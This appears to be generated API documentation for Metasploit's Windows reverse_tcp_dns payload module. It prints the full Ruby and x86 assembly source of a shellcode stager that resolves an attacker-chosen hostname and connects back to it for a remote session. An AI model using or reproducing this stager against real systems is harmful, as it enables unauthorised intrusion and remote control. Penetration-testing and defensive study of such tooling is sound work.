Module: Msf::Payload::Windows::ReverseTcpDns

Includes:
TransportConfig, ReverseTcp
Included in:
ReverseTcpRc4Dns
Defined in:
lib/msf/core/payload/windows/reverse_tcp_dns.rb

Overview

Complex reverse_tcp payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from ReverseTcp

#asm_block_recv, #asm_reverse_tcp, #generate_reverse_tcp, #include_send_uuid, #required_space, #transport_config

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_reverse_tcp_dns(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Integer)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :retry_count (Integer)

    Number of retry attempts



68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# File 'lib/msf/core/payload/windows/reverse_tcp_dns.rb', line 68

def asm_reverse_tcp_dns(opts={})

  retry_count  = [opts[:retry_count].to_i, 1].max
  encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the socket for the connection to the server
    ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

    reverse_tcp:
      push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
      push 'ws2_'             ; ...
      push esp                ; Push a pointer to the "ws2_32" string on the stack.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call ebp                ; LoadLibraryA( "ws2_32" )

      mov eax, 0x0190        ; EAX = sizeof( struct WSAData )
      sub esp, eax           ; alloc some space for the WSAData structure
      push esp               ; push a pointer to this struct
      push eax               ; push the wVersionRequested parameter
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call ebp               ; WSAStartup( 0x0190, &WSAData );

      push eax               ; if we succeed, eax will be zero, push zero for the flags param.
      push eax               ; push null for reserved parameter
      push eax               ; we do not specify a WSAPROTOCOL_INFO structure
      push eax               ; we do not specify a protocol
      inc eax                ;
      push eax               ; push SOCK_STREAM
      inc eax                ;
      push eax               ; push AF_INET
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
      xchg edi, eax          ; save the socket for later, don't care about the value of eax after this

    create_socket:
      call got_hostname

    hostname:
      db "#{opts[:host]}", 0x00

    got_hostname:
      push #{Rex::Text.block_api_hash( "ws2_32.dll", "gethostbyname" )}
      call ebp               ; gethostbyname( "name" );

    set_address:
      mov eax, [eax+28]      ; names
      push #{retry_count}    ; retry counter
      push eax               ; host address
      push #{encoded_port}   ; family AF_INET and port number
      mov esi, esp           ; save pointer to sockaddr struct

    try_connect:
      push 16                ; length of the sockaddr struct
      push esi               ; pointer to the sockaddr struct
      push edi               ; the socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
      call ebp               ; connect( s, &sockaddr, 16 );

      test eax,eax           ; non-zero means a failure
      jz connected

    handle_connect_failure:
      ; decrement our attempt count and try again
      dec dword [esi+8]
      jnz try_connect
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call ebp
    ^
  end

  asm << %Q^
    ; this label is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
  ^

  asm << asm_send_uuid if include_send_uuid

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# File 'lib/msf/core/payload/windows/reverse_tcp_dns.rb', line 28

def generate(_opts = {})
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_tcp_dns(conf)
end

#generate_reverse_tcp_dns(opts = {}) ⇒ Object

Generate and compile the stager



48
49
50
51
52
53
54
55
56
57
58
59
# File 'lib/msf/core/payload/windows/reverse_tcp_dns.rb', line 48

def generate_reverse_tcp_dns(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_tcp_dns(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#initialize(*args) ⇒ Object

Register dns specific options



19
20
21
22
23
# File 'lib/msf/core/payload/windows/reverse_tcp_dns.rb', line 19

def initialize(*args)
  super
  # Overload LHOST as a String value for the hostname
  register_options([ OptString.new("LHOST", [true, "The DNS hostname to connect back to"]) ], self.class)
end